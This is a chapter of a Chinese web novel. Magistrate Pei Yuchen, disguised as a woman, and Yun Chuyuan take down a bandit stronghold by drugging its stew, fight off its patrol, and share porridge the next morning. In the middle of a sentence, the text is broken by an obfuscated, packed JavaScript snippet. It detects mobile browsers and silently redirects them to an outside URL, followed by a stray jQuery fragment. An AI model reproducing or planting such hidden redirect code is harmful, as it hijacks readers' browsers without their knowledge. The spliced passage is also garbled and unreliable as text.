夜幕降临,坐落在深山老林里的山寨喧闹起来,一群彪形大汉围坐在篝火旁,举止粗狂地喝着酒,满嘴污言秽语地调笑着。
“老大,你艳福不浅啊,今儿一下子抓来两个小美人。”贼眉鼠眼的小喽啰朝着他们黑水寨的大当家挤眉弄眼。
对面之人脸上有一道长疤,从眉梢延伸至嘴角,宛如一条蜈蚣盘踞于此,络腮胡大汉面容狰狞、凶神恶煞,仰头大笑时满是匪气。
“哈哈哈,等我和美人度过洞房花烛夜,就把她们赏给你们。”
其余土匪不怀好意地哄笑起来,他们这群亡命之徒烧杀抢掠、无恶不作,女人在他们眼中就如同银子一般,想用就用,想赠人也不过一句话的事。
“老大今夜想先享用哪位美人?”
大当家捋着络腮胡,醉眼朦胧地说道:“去把她们带上来,老子亲自挑。”
手下人连忙去柴房将云楚沅和裴昱臣带了上来。
男扮女装的裴昱臣很是别扭,走路都刻意收敛力度,轻迈莲步,垂在身侧的双手不自在地捏着裙摆,他总觉得宽松的衣裳会将自己绊倒。
走在后头的云楚沅叹为观止,这人身段柔美,瞧着比她这个真正的女子还要还淑女呀。
粗暴蛮横的土匪头子一把扯过裴昱臣,大掌揽住他纤细的腰肢,一张口喷出满满的酒气,“小……小娘子闭月羞花,冰肌玉骨,真乃绝色,跟了我不会亏待你的。”
裴昱臣额角青筋直跳,浑身僵硬,极力忍耐着给他一拳的冲动,低着头装作羞涩的模样,平日里清朗的声音刻意压低,细声细语道:“大当家只要对奴家好,奴家定全心全意地侍奉您。”
“噗嗤!”
云楚沅实在没忍住,笑喷出声,一下子就吸引了众人的目光。
大当家松开裴昱臣,摇摇晃晃地站了起来,指着云楚沅说道:“笑什么笑?你莫不是羡慕了?”
云楚沅连忙摆手,后退两步。
裴昱臣见状挡在她的身前,捏着嗓子矫揉造作地说道:“大当家,你怎么又相中别人了?她这干巴巴的身子有什么好的?”
大当家醉的不轻,瞧着眼前粉衣女子嗔怒的样子,心里十分受用,“我……我自然是更中意你的。”说罢,他跌跌撞撞地扑向裴昱臣,覆上他的肩膀。
云楚沅不敢再出声,而是小心翼翼地观察着四周,默默记下这些土匪的面容以及不远处巡逻队分布的位置。
据裴昱臣得到的消息,这黑水寨满打满算有五十余人,在这院中吃喝的人约莫有二十三四人,皆是寨子里的小头目。
剩下的二十人分两队在寨子的正门和后山巡逻,不远处的小队是正门放哨的那一批。
“好菜来啦!大当家您今日猎来的鹿,小的给您炖煮了。”伙夫端着一大盆鹿肉汤送了上来。
小火慢煮过的鹿肉散发着醇厚的香味,土匪们纷纷来了精神,这可是难得的珍馐,富商贵族都难得吃上一回,他们老大今日运气好,在林中寻到了一只小鹿。
伙夫拿木勺舀起一勺肉汤,先递给了大当家,炖得软烂的鹿肉在碗中摇晃,把大伙肚子里的馋虫都勾了出来。
大当家不客气地接过来,连吃两大碗,抹了把嘴,意味深长地盯着裴昱臣说道:“小美人,今夜就叫你知晓这鹿肉的好处。”
裴昱臣偏过头遮住自己扭曲厌恶的表情,心里嘲讽道,待会你就知晓这鹿肉到底怎么好了。
云楚沅滴溜溜的眼珠子不停打量着毫不起眼的伙夫,这就是裴昱臣派到黑水寨的卧底吗?当真是其貌不扬。
这些土匪欺男霸女的日子过久了,还真当自个是这临海县的土皇帝了?如此不设防,难怪他们会中招。
一炷香的时间过去,土匪们一个接一个地栽到下去,汤中的蒙汗药已然生效。
裴昱臣一把甩开大当家攀在他肩头的手掌,脸上满是厌恶之色,他扯下粉色外衫和发髻中的珠钗,丢到地上。
“大人,小人已经点燃烟火,通知山脚下的人往山上赶来。”伙夫恭敬地向裴昱臣行了一礼。
裴昱臣点头,“你留在此地接应他们,顺便将地上这些人绑起来,一同押回县衙。我去解决后山剩余的土匪。”
“是!”
伙夫掏出一大把麻绳,手脚麻利地开始捆绑被药趴下的众人。
衙门里负责治安和缉捕的捕快也就三十来人,要想拿下黑水寨,不能猛攻,只能智取,因此裴昱臣才会出此下策。
裴昱臣安排了这出里应外合的计谋,他以身入局牵制住黑水寨的头目,伙夫趁机下黑手,衙役们从正门进攻,剩下的人也就不成气候了。
他冲云楚沅使了个眼色,两人一同往后山走去。
云楚沅明白他的意思,这是听过他的计划后,她主动提出来的点子。
裴昱臣独自一人对上后山的十人巡逻队,不一定能有十成的把握,她可以先引走一部分人,助他一臂之力。
想到这,云楚沅将发丝揉乱,装出一副惊慌失措的样子向后山的方向跑去。
“站住!”
脚踩在落叶上的“哗啦”声,自然瞒不过土匪们的耳朵,有五人直直追了上来,其他人守在原地。
云楚沅喘着粗气穿梭在灌木丛中,寂静的夜里“呼哧呼哧”的呼吸声清晰可闻,荆棘划过她的手臂留下青紫的伤痕。
顾不上疼痛,云楚沅心中谨记着自己的使命,只要为裴昱臣拖延时间,解决那几个人后,他就会追上了。
脚下突然出现一个树桩,云楚沅一不小心被绊倒在地,扑倒之时,她的手心划过粗糙的泥土地,顿时擦出一道道触目惊心的血痕,伤口处布满沙砾和泥土。
云楚沅强忍疼痛,从地上爬起来,一瘸一拐地继续往前走去。
受伤的她很快被身后的土匪追上,他们举着刀将她团团围住,“小妞,胆敢偷跑?小命不要了?”
其中一人更是直接将刀架到了她的脖子上。
云楚沅不禁苦笑,自穿越到古代,她一直都在面临磨难,难道她就要命丧于此了吗?
闪着寒光的刀在她白皙的脖颈印出一道血痕,她睫毛颤抖,轻轻闭上了眼睛。
“铛!”一声脆响。
林中飞来一颗小石子,弹落了那柄弯刀。
云楚沅后知后觉地睁开眼,身着白色里衣的男子从天而降,他的手中同样拿着一把弯刀。
裴昱臣一脚踢在掉了刀的土匪的胸口,将其踹倒在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716721|173747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,把云楚沅护在了身后,小声说道:“云姑娘,抱歉,在下来迟了。”
云楚沅摇头一笑,“不,裴大人来的正是时候。”
距离最近的一个土匪挥刀砍来,裴昱臣抓着云楚沅的手腕险险避过。
“云姑娘,你先躲起来!”
云楚沅马不停蹄地窜到一棵树后,保证自己不会影响到他的发挥。
剩下的三个土匪看到同伴倒地不起,目眦欲裂地齐齐冲了过来。
裴昱臣身手矫健,步伐轻盈,躲过连续的劈砍过后,瞅准时机,一刀割伤一人的后腿,令他丧失行动能力,又划过另一人的腹部,使其倒地哀嚎。
最后一人见势不妙,转身想要逃跑,裴昱臣乘胜追击,手起刀落,挑断他的脚筋。
转眼间,五名土匪皆已负伤,瑟瑟发抖地连声求饶。
云楚沅见裴昱臣已经搞定了他们,这才松了口气,从树后走出来,向他施了一礼,“裴大人,您又救我一命。”
“姑娘请起,你也是为了助我,这才身陷险境。”裴昱臣虚扶她的手臂,一下子注意到她破损的衣袖和滴着鲜血的手心。
“姑娘受伤了?”
裴昱臣用刀割下衣摆处的布条,正想为她包扎,又觉不妥,遂将布条递到她的手中,“姑娘先暂时止住血,待回到衙门我请大夫来为你上药。”
云楚沅接过布条随意地在手上缠了几圈,“不用了,这点小伤过几日就好了。”
裴昱臣依旧坚持道:“姑娘也算为我而伤的,倘若裴某不做表示,良心难安。”
既然他都这样说了,云楚沅只好点头应下。
两人等衙役们前来会和后,一同回到了临海县的县衙。
天色已晚,裴昱臣派人骑马去小渔村云家递了个消息,请大夫为云楚沅诊治过后,留她在县衙内宅的西厢房住了一夜。
翌日,云楚沅睁眼看到陌生的床幔,反应了一会儿,才想起自己身处何地。
她麻利地起身,洗漱收拾了一番,想着今日便要回小渔村去,离开之前,就为裴县令做一顿早膳报答昨日之事吧。
县衙的厨房内只有一名厨子,云楚沅说明来意后,厨子立马答应了她自己动手的请求。
这女子能住进县衙的后宅,指不定和大人关系匪浅,厨子自觉参透了隐秘之事,放心地离开了。
云楚沅取下一只陶制砂锅,处理好鲜虾和螃蟹,用虾头炒出虾油,开始熬粥,一刻钟后,香菇、大虾和螃蟹相继入锅,调味后撒上葱花,一锅热气腾腾、鲜甜清淡的海鲜粥就煮好了。
在书房处理公务的裴昱臣听到下人通报后,令人将门外的云楚沅请了进来。
“云姑娘,你手上伤势未愈,怎能操劳膳食之事,交给下人去做就好了。”裴昱臣赶紧起身接过她手里盛着热粥的木盘,不赞同地看向她包住的双手。
“不打紧的,裴大人帮我许多,我也想为您做点事,正巧大人爱吃我做的吃食,一碗海鲜粥实在不足挂齿。”云楚沅诚恳地说道。
裴昱臣知晓她是真心实意的,便不再多言。
轻舀一勺海鲜粥送入口中,咸鲜之味在舌尖蔓延开来,他略微点头,神色舒缓,早膳用此粥,实属妙哉。